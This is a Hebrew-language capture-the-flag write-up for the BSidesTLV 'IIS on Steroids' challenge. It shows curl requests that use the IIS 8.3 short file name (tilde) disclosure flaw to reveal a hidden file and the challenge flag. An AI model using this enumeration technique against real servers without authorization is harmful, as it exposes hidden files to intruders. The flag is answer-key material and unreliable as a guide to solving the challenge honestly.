IIS on Steroids

תיאור

IIS on Steroids

פתרון

נתחבר לשרת:

root@kali:/media/sf_CTFs/bsidestlv/IIS_on_Steroids# curl -v iis.challenges.bsidestlv.com/
*   Trying 104.248.251.27...
* TCP_NODELAY set
* Connected to iis.challenges.bsidestlv.com (104.248.251.27) port 80 (#0)
> GET / HTTP/1.1
> Host: iis.challenges.bsidestlv.com
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 400 Bad Request
< Server: Microsoft-IIS/7.5 on Steroids
< Content-Type: text/html; charset=utf-8
< Content-Length: 10
< Date: Tue, 18 Jun 2019 19:45:45 GMT
< Set-Cookie: s=9a85adfcc3667df6c60517ff3b10a82d8b32cde2; path=/; domain=challenges.bsidestlv.com
<
* Connection #0 to host iis.challenges.bsidestlv.com left intact
Nananaaaa!

אין פה הרבה, מלבד העובדה שמדובר ב-IIS 7.5. באמצעות חיפוש חולשות ידועות בגרסה זו הגענו לחולשה שנקראתMicrosoft IIS - Short File/Folder Name Disclosure. החולשה הזו נובעת מפורמט שמות הקבצים 8.3 שהגיע מימי דוס ומקצר שמות של קבצים ארוכים באמצעות שימוש ב-“~”.

למשל, קובץ עם שם כמו abcdefgh.txt היה מקוצר ל-abcdef~1.txt, שמונה תווים לשם ועוד שלושה לסיומת. אם היה קובץ נוסף בשם abcdefghi.txt, הוא היה מקבל את השם abcdef~2.txt וכן הלאה.

באמצעות החולשה הזו, ניתן לברר אם קבצים מסויימים קיימים על השרת.

בשלב הראשון, השתמשנו ב-wildcard כדי לראות אם קיים קובץ בעל יותר משמונה תווים על השרת (ששמו קוצר בעקבות התמיכה לאחור בפורמט 8.3):

root@kali:/media/sf_CTFs/bsidestlv/IIS_on_Steroids# curl http://iis.challenges.bsidestlv.com/*~1*
No so fast..Try harder!

התגובה שקיבלנו שונה מהתגובה המקורית ולכן כנראה שהכיוון נכון.

ניסינו לשנות את 1 ל-2 וקיבלנו את הדגל:

root@kali:/media/sf_CTFs/bsidestlv/IIS_on_Steroids# curl http://iis.challenges.bsidestlv.com/*~2*
BSidesTLV{Y0ulln3v3rf1ndm3!}